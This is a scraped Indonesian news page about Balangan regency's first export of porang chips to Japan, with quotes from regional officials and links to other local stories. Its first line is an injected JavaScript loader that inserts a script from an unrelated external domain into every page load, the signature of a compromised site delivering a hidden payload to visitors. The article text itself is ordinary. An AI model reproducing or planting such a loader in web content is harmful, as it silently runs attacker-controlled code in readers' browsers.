(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Balangan

Ekspor Perdana Komoditas Porang Kabupaten Balangan ke Jepang


KANALKALIMANTAN.COM, PARINGIN – Ekspor perdana komoditas porang Kabupaten Balangan dilepas Pemprov Kalsel dari Balai Karantina Pertanian Kelas I Banjarmasin, Senin (12/4/2021).

Dikirim perdana 10 ton chip porang -diperoleh dari 80 ton umbi basah-. Dari 8 kecamatan terbanyak dari Juai dan Lampihong, karena 2 kecamatan ini memulai terlebih dulu dibanding 6 kecamatan lain.

Menurut Wakil Ketua Asosiasi Pembudidaya Porang Indonesia (Aspeporin), Suharto mengatakan bahwa 10 ton chip ini dari kontrak 100 ton dengan PT Buana Alam Lestari dikirim ke Jepang untuk tahun 2021.

Sebelumnya, komoditas porang Kabupaten Balangan dikirim ke Surabaya -perusahaan industri pangan-.

 

 

Bupati Balangan H Abdul Hadi mengatakan, Pemkab Balangan aakan terus mendorong porang menjadi produk pertanian unggulan Balangan.

“Karena permintaan pasar akan komoditas masih jauh dari terpenuhi. Dalam negeri baru terpenuhi 2%, dan luar negeri baru 0,6%, jadi peluangnya masih sangat besar,” ujarnya.

Porang Emas di Bidang Pertanian

Sementara itu, Kepala Badan Karantina Pertanian yang diwakili oleh Kepala Balai Besar Karantina Soekarno-Hatta Jakarta, Imam Jayadi mengatakan, produksi ini patut diikuti juga dengan pengembangan agroindustri.

“Karena porang dibutuhkan oleh industri manufaktur, kesehatan dan kecantikan,” katanya.

Adapun Pj Sekda Provinsi Roy Rizali mengatakan, dalam tiga tahun terakhir porang mulai menjadi bisnis di Kalsel, dan Balangan adalah pelopor budidaya tanaman porang di Kalsel.

“Negara tujuan ekspor tidak hanya Jepang, tapi juga China, Korea, Taiwan, bahkan meluas ke Amerika Serikat dan Eropa,” ungkapnya.

Pj Sekda juga meminta pemda mendampingi pembudidayaan porang secara terencana, mulai dari produksi, tanam, hingga bisnisnya.

Pemprov mengajukan permintaan anggaran ke pemerintah pusat sebesar Rp 3 miliar untuk pembinaan budidaya porang di Kalsel.

“Porang bisa menjadi alternatif bagi Kalsel untuk mengurangi ketergantungan terhadap komoditas batubara,” pungkasnya. (kanalkalimantan.com/alfi)

Reporter: alfi
Editor: kk


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.